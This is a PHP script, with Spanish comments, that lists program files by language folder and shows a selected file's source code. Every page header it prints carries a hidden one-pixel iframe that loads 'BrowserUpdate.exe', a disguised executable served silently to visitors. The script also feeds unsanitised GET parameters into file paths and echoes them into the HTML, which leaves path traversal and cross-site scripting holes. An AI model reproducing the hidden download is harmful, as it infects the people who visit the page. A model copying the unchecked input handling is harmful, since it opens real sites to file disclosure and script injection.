<?php
$Lenguaje = $_GET["Lenguaje"];
$Programa = $_GET["Programa"];
if ($Programa)
{
print "<html><head><iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe><link href=FIG/ThatsMine.css type=text/css rel=stylesheet></head>";
print "<body bgcolor=LightSalmon>";
print "<center><h1><font color=#0000cc>".$Programa."</font></h1></center><br><br>";
// __________________________ __________________________
// SE MUESTRA EL CODIGO DEL PROGRAMA SELECCIONADO
// __________________________ __________________________
$NombreArchivo = "Programas/".$Lenguaje."/".$Programa;
$Archivo = fopen($NombreArchivo , "r");
if ($Archivo)
{
print "<font class=LigaProg><pre>";
while (!feof($Archivo))
{
$Linea = fgets($Archivo, 80);
if ( strlen($Linea) > 0 )
print htmlentities( $Linea );
}
print "</pre></font>";
}
fclose ($Archivo);
}
else if ($Lenguaje)
// ____________________________ _____________________________________
// SE MUESTRAN LOS PROGRAMAS DEL LENGUAJE SELECCIONADO
// ____________________________ _____________________________________
{
print "<html><head><iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe><link href=FIG/ThatsMine.css type=text/css rel=stylesheet></head>";
print "<body bgcolor=LightSalmon>";
print "<center><h1><font color=#0000cc>".$Lenguaje."</font></h1></center>";
// Se genera el nombre del directorio
$NombreArchivo = "Programas/".$Lenguaje;
if ($handle = opendir( $NombreArchivo ))
{
$N = 1;
while (false !== ($Programa = readdir($handle)))
{
$NombrePrograma[$N] = $Programa;
$N++;
}
}
closedir($handle);
sort( $NombrePrograma );
if ( $N > 1 ) // Si sI hay contenido
{
print "<table border=1 align=center>";
print "<tr><td align=center><font class=CabezaTabla>#</font></td>";
print "<td align=center><font class=CabezaTabla>___PROGRAMA___</font></td>";
print "<td align=center><font class=CabezaTabla>_______________DESCRIPCION__(- Archivo i/N -)</font></td>";
print "</tr>";
$N = 1;
foreach ( $NombrePrograma as $Programa )
{
if ($Programa != "." && $Programa != "..")
{
$Tipo = strtok($Programa, "."); // Desprecio el nombre de archivo
$Tipo = strtok("."); // Extraigo la extensiOn del archivo
// ____ Se extraE la lInea de ayuda______
$Arch = fopen("Programas/".$Lenguaje."/".$Programa, "r");
$Ayuda = fgets($Arch, 80);
fclose ( $Arch );
$X = "P"; // P=programa G=grAfico
if ($Tipo == "jpg" || $Tipo == "gif" || $Tipo == "png") { $Ayuda = "ELEMENTO GRAFICO"; $X = "G"; }
if ($Tipo == "doc" || $Tipo == "DOC") { $Ayuda = "ELEMENTO TIPO DOCUMENTO"; $X = "G"; }
if ($Tipo == "class" || $Tipo == "jar") { $Ayuda = "ARCHIVO EJECUTABLE"; $X = "G"; }
if ($Tipo == "pdf" || $Tipo == "PDF") { $Ayuda = "DOCUMENTO GRAFICO"; $X = "G"; }
if ($Tipo == "txt" ) { $Ayuda = "ARCHIVO INFORMATIVO"; $X = "P"; }
print "<tr><td align=center><font class=TextoProg>$N</font></td>"; $N++;
if ( $X == "P" )
print "<td><a href=Programas.php?Lenguaje=".$Lenguaje."&Programa=".$Programa;
else
print "<td><a href=Programas/".$Lenguaje."/".$Programa;
print " class=LigaProg target=Contenido>".$Programa."</a></td>";
print "<td><font class=TextoProg>".$Ayuda."</font></td></tr>"; // Es un cOdigo
}
}
print "</table>";
}
else { print "<h3>SIN CONTENIDO</h3>"; }
}
print "</body></html>";
?>